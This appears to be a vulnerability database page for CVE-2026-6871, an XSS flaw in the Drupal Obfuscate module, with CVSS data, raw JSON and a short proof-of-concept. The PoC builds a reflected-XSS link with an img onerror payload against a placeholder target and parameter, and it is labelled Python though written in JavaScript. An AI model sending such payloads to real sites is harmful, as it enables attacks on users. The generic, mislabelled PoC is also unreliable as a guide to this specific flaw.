Security Vulnerability Report
中文
CVE-2026-6871 CVSS 6.1 MEDIUM

CVE-2026-6871

Published: 2026-05-19 23:16:58
Last Modified: 2026-05-20 14:17:04

Description

Improper Neutralization of Input During Web Page Generation ("Cross-site Scripting") vulnerability in Drupal Obfuscate allows Cross-Site Scripting (XSS). This issue affects Obfuscate: from 0.0.0 before 2.0.2.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Obfuscate < 2.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * Proof of Concept (PoC) for CVE-2026-6871 * This script demonstrates the Reflected XSS vulnerability in the Drupal Obfuscate module. * Usage: Replace [TARGET_URL] with the actual vulnerable endpoint. */ // Malicious payload to execute JavaScript in the victim's browser var xssPayload = "<img src=x onerror=alert('CVE-2026-6871_XSS')>"; // Construct the malicious URL var targetUrl = "[TARGET_URL]?vulnerable_parameter=" + encodeURIComponent(xssPayload); // Output the attack vector (for testing purposes) console.log("Attack URL: " + targetUrl); // In a real attack scenario, the attacker would send this link to the victim. // When the victim clicks, the browser renders the unsanitized input, triggering the alert.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6871", "sourceIdentifier": "[email protected]", "published": "2026-05-19T23:16:58.467", "lastModified": "2026-05-20T14:17:03.860", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (\"Cross-site Scripting\") vulnerability in Drupal Obfuscate allows Cross-Site Scripting (XSS).\n\nThis issue affects Obfuscate: from 0.0.0 before 2.0.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://www.drupal.org/sa-contrib-2026-033", "source": "[email protected]"}]}}